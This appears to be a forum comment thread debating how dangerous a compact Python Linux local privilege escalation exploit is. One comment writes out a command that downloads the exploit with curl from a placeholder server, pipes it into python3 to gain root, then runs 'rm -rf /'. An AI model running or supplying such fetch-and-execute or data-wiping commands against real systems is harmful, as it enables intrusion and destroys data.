You're freaking out about the exploit being written in Python and occupying only a small number of bytes. Are you the LLM that wrote Xint's terrible landing page? If so, I have questions.
replyOh come on, you know what I'm saying. It's small when written in python, which means any skid can spew it into a server he's got a shell on and get root in 2 seconds. He doesn't need to hope there's already a compiler installed, nor does he need to download some big tool. Just:
reply cat | python3 && su
<puke>, Ctrl-D
Again, Linux LPE via either vulns or misconfigured permissions / binaries is common.
replyPeople who run servers that give out shell access to uses or randos already needed to contend with this.
Added later: you may find https://gtfobins.org/ fascinating or horrifying.
I think you’re reading a ton into this vulnerability that is not there.
replyI wish you were right. But I've been testing every system I can and so far I'm yet to find one that isn't vulnerable.
reply $ curl http://my.server.ip.addr/copy_fail_exp.py | python3 && su
# rm -rf / &
How many people do you let have local code execution on your systems? This is a local privilege escalation. They are relatively common. They are a big deal if you run a system that lets multiple untrusted users commingle code on a shared operating system.
replyOtherwise it’s not.